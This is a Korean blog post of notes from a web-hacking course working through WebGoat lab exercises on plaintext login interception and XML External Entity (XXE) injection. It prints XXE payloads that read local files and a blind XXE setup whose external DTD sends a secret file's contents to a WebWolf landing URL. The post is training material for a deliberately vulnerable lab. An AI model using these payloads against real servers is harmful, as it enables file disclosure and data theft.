본문 바로가기
정보보안/WebGoat

OWASP Top 10 항목 진단 - Sensitive Data Exposure, XXE

by IT매니절 2025. 1. 14.

무작정 따라하며 원리를 깨우치는 웹 해킹 : WebGoat 편

https://www.inflearn.com/course/%EC%9B%B9-%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-webgoat


취약한 인증

3. Sensitive Data Exposure
- Insecure Login
4. XML External Entities(XXE)

 

 

 

Insecure Login

문제 : 패닛 스니퍼를 사용해 패킷을 가로채보기

burp로 가로채서 로그인하면 성공

평문전송을 하기 때문에 취약하다는 것을 알 수 있다

 

 

XML External Entities(XXE)

= XXE (XML 외부 개체) Injection

 

XML이란
데이터를 효율적으로 주고받기 위해 만들어진 데이터 구조
근래에는 JSON이 더 많이 사용되고 있지만
레거시 프로젝트들에서는 아직도 사용되고 있으므로 주의하여야 함

 

내부 엔티티와 외부 엔티티
<?xml version "1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
<!ENTITY str "내부엔티티">
<!ENTITY str SYSTEM "file:///[경로]외부엔티티">
]>
<result>&str;</result>

 

문제 : 양식을 제출할 때 XXE Injection을 통해 최상위 디렉토리를 리스팅하라

 

그냥 제출했을 때

외부엔티티를 넣어서 제출하면

이렇게 등록되는 것을 볼 수 있다

윈도우의 경우는 SYSTEM "file:///c:/" 를 사용하면 최상위 디렉터리를 의미함

+ 최상위 디렉터리에 한글로 된 파일이 있으면 에러가 발생할 수 있다 ( javax.xml.bind.UnmarshalException ~~  )

 

문제 : 최신 REST 프레임워크에서 JSON 엔드포인트가 XXE 공격에 취약해질 수 있다
기존 문제와 동일한 XML 주입 시도해보기

데이터를 아무거나 넣어서 전송하면 이런 JSON 형식을 볼 수 있다

Content-Type: application/json
=> Content-Type: application/xml

컨텐츠 타입을 변경하고 xml 데이터 형식을 붙여넣으면 동일하게 인젝션된다

 

해당 서버에 xml parser가 설치되어 있는경우 발생하는 취약점

 

XXE DOS attack
&str; 로 참조할 때, 참조를 다량으로 한번에 할 경우 서버가 과부하된다

 

 

Blind XXE assignment

 

C:\Users\user/.webgoat-8.1.0//XXE/secret.txt
파일을 호출하는 것이 목표

이전과 같은 페이로드를 인젝션 한 경우

답은 맞지만, 다른 방식으로 풀어야 한다고 나온다

 

 

attack.dtd의 내용

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % aa "<!ENTITY gogo SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">%aa;

 

웹울프의 files에 가서 업로드한다

경로는 http://127.0.0.1:9090/files/webgoat1/attack.dtd 가 된다

 

공격용 페이로드의 내용

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "file:///C:\Users\user/.webgoat-8.1.0//XXE/secret.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:9090/files/webgoat1/attack.dtd">
%dtd;
]>
<comment>
  <text>&gogo;</text>
</comment>

 

 

실행과정
파라미터 엔티티(%) 중 외부파일인 attack.dtd를 참조한다
attack.dtd에서 %aa로 내부내용이 실행되고 %aa 안의 %file로 지정된 내용을 &gogo로 참조하여 실행한다

 

웹울프 페이지 가보면 이렇게 나와있다

WebGoat%208.0%20rocks...%20(nlICpvQORX)

여기서 url 인코딩된 %20을 공백으로 바꿔주고 입력하면 성공